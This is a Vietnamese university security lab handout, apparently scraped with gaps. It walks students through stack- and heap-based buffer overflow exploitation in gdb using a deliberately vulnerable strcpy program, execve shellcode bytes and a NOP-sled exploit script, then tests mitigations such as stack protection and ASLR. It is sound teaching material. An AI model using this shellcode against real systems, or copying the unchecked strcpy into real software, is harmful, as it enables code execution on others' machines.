Professional Documents
Culture Documents
ATHT Lab2 2023 2024 Tuxa
ATHT Lab2 2023 2024 Tuxa
ATHT Lab2 2023 2024 Tuxa
LAB 2
KHAI THÁC VÀ NGĂN CHẶN LỖI BUFFER OVERFLOW
Họ tên và MSSV:
Nhóm học phần:
- Các sinh viên bị phát hiện sao chép bài của nhau sẽ nhận 0đ cho TẤT CẢ các bài thực
hành của môn này.
- Bài nộp phải ở dạng PDF, hình minh họa phải rõ ràng chi tiết. Hình minh hoạ chỉ cần
chụp ở nội dung thực hiện, không chụp toàn màn hình.
Lưu ý: sử dụng tài khoản là mã số sinh viên (đã tạo ở Câu 1.4 - Lab01) để thực hiện tất cả các
câu trong bài thực hành. Tất cả các câu trong bài thực hành này được thực hiện trên Kali Linux
2022.2
Câu 1: Khai thác lỗi Stack-based Buffer Overflow trên Linux 64 bit
1.1. Soạn thảo 1 chương trình buf.c
$mkdir stackoverflow && cd stackoverflow
$nano buf.c
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[]){
char buf[200];
strcpy(buf, argv[1]);
printf("Input was: %s\n",buf);
return 0;
}
1.5 Bên trong môi trường gdb, tiến hành dò vị trí của return address:
(gdb)run $(python2 -c "print 'A'*length")
# Tăng giá trị của length cho đến khi giá trị return address là
'0x0000414141414141'
1.6 Xác định vị trí của return address:
(gdb)disass main
(gdb)break * main+91
(gdb)run $(python2 -c "print 'A'*200 + 'B'*? + 'C'*8 + 'D'*6")
(gdb)x/100x $rsp
(gdb)x $rsp
(gdb)x $rbp
Chụp hình minh hoạ kết quả thực hiện
Trả lời:
- Địa chỉ và giá trị của thanh ghi rsp:
- Địa chỉ và giá trị của thanh ghi rbp:
- Địa chỉ và giá trị của return address:
- Địa chỉ bắt đầu và kết thúc của buf trên bộ nhớ stack:
- Tổng độ dài của payload thực thi tấn công buffer overflow:
Kernel space
argc, argv[], env variables
rsp
xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\
x0f\x05'
- Lệnh khai thác:
run $(python2 -c "print '\x90'*152 + shellcode + 'B'*?
+'C'*8 + '<Một địa chỉ bất kỳ ở vị trí 0 tới 152 của buffer (viết
theo dạng little endian)>'")
Kernel space
argc, argv[], env variables
0x7fffffffdd80
rbp 8 * 0x43 (C)
? * 0x42 (B)
alignment
Shellcode
(48 bytes)
rsp
- Sau khi chiếm được shell, thực hiện lệnh pwd và id
Chụp hình minh hoạ chiếm được shell sau khi thực thi lệnh khai khác.
Câu 2: Khai thác lỗi Buffer Overflow bên ngoài môi trường gdb
2.1. Tạo tập tin python khai thác
$nano exploit1.py
#!/usr/bin/python3
import sys
buf_length = 200
payload_length = 222
shellcode = b""
shellcode += b"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48"
shellcode += b"\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1"
shellcode += b"\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57"
shellcode += b"\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a"
shellcode += b"\x3c\x58\x0f\x05"
2.3 Thay đổi giá trị return_add trong tập tin exploit1.py để có thể khai thác lỗi Buffer
Overflow bên ngoài môi trường gdb. Sau đó tiến hành khai thác:
$nano exploit1.py
#Cộng thêm '\x40' vào return_add
$./buf $(./exploit1.py)
- Sau khi chiếm được shell, thực hiện lệnh pwd và id
Chụp hình minh hoạ chiếm được shell sau khi thực thi lệnh khai khác.
Câu 4: Khai thác lỗi Heap-based Buffer Overflow trên Linux 64 bit
4.1. Soạn thảo 1 chương trình heap.c
$mkdir heapoverflow && cd heapoverflow
$nano heap.c
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
void winner(){
printf("Level up. Welcome to Heap-based buffer overflow\n");
}
void nowinner(){
printf("Level has not been passed\n");
}
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fun));
f->fp = nowinner;
4.3. Tìm địa chỉ bắt đầu của Heap, địa chỉ của name[64] và fp trên bộ nhớ Heap, địa chỉ của 2
hàm winner và nowinner.
$gdb -q heap
(gdb)list 1,30
(gdb)break 29
(gdb)run AAAA
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ
Chụp hình minh hoạ hàm winner được thực thi thay vì hàm nowinner.
Câu 5: Các giải pháp ngăn chặn tấn công Buffer Overflow
5.1. Biên dịch lại chương trình buf.c ở Câu 1, KHÔNG dùng tham số -fno-stack-
protector và -z execstack. Lúc này có thể khai thác lỗi buffer overflow trong chương
trình được không?
Giải thích và chụp hình minh hoạ.
5.2. Bật lại chức năng Address Space Layout Randomization (ASLR). Lúc này có thể khai thác
lỗi buffer overflow trong chương trình được không?
$sudo sysctl kernel.randomize_va_space=2
Giải thích và chụp hình minh hoạ.
---HẾT---